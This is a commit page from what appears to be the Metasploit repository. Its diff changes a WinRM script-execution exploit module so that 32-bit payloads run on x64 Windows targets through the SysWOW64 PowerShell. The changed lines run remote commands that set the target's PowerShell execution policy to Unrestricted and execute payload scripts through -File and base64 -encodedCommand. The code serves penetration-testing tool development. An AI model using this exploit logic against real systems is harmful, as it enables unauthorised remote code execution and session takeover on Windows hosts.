Skip to content

Commit e448431

Browse files
David MaloneyDavid Maloney
authored andcommitted
Add 32bit comapt mode for 64 bit targets on wirnm
When a 32 bit payload is selected for an x64 target using the powershell 2.0 method, it will try to invoke the 32bit version of pwoershell to sue instead allowing us to still get a session even with the wrong payload arch
1 parent 7ea188e commit e448431

File tree

1 file changed

+14
-8
lines changed

1 file changed

+14
-8
lines changed

modules/exploits/windows/winrm/winrm_script_exec.rb

Lines changed: 14 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,6 @@ def exploit
8383
return
8484
end
8585
if powershell2?
86-
return unless correct_payload_arch?
8786
path = upload_script
8887
return if path.nil?
8988
exec_script(path)
@@ -127,15 +126,15 @@ def upload_script
127126

128127
def exec_script(path)
129128
print_status "Attempting to execute script..."
130-
cmd = "powershell -File #{path}"
129+
cmd = "#{@invoke_powershell} -File #{path}"
131130
winrm_run_cmd_hanging(cmd)
132131
end
133132

134133
def encoded_psh(script)
135134
script = script.chars.to_a.join("\x00").chomp
136135
script << "\x00" unless script[-1].eql? "\x00"
137136
script = Rex::Text.encode_base64(script).chomp
138-
cmd = "powershell -encodedCommand #{script}"
137+
cmd = "#{@invoke_powershell} -encodedCommand #{script}"
139138
end
140139

141140
def temp_dir
@@ -173,11 +172,11 @@ def check_remote_arch
173172
end
174173

175174
def correct_payload_arch?
176-
target_arch = check_remote_arch
177-
case target_arch
175+
@target_arch = check_remote_arch
176+
case @target_arch
178177
when "x64"
179178
unless datastore['PAYLOAD'].include? "x64"
180-
print_error "You selected an x86 payload for an x64 target!"
179+
print_error "You selected an x86 payload for an x64 target...trying to run in compat mode"
181180
return false
182181
end
183182
when "x86"
@@ -218,8 +217,15 @@ def powershell2?
218217
end
219218
end
220219

220+
return false unless correct_payload_arch? or @target_arch == "x64"
221+
if @target_arch == "x64"
222+
@invoke_powershell = "%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
223+
else
224+
@invoke_powershell = "powershell"
225+
end
226+
221227
print_status "Attempting to set Execution Policy"
222-
streams = winrm_run_cmd("powershell Set-ExecutionPolicy Unrestricted")
228+
streams = winrm_run_cmd("#{@invoke_powershell} Set-ExecutionPolicy Unrestricted")
223229
if streams == 401
224230
print_error "Login failed!"
225231
return false
@@ -228,7 +234,7 @@ def powershell2?
228234
print_error "Recieved error while running check"
229235
return false
230236
end
231-
streams = winrm_run_cmd("powershell Get-ExecutionPolicy")
237+
streams = winrm_run_cmd("#{@invoke_powershell} Get-ExecutionPolicy")
232238
if streams['stdout'].include? 'Unrestricted'
233239
print_good "Set Execution Policy Successfully"
234240
return true

0 commit comments

Comments
 (0)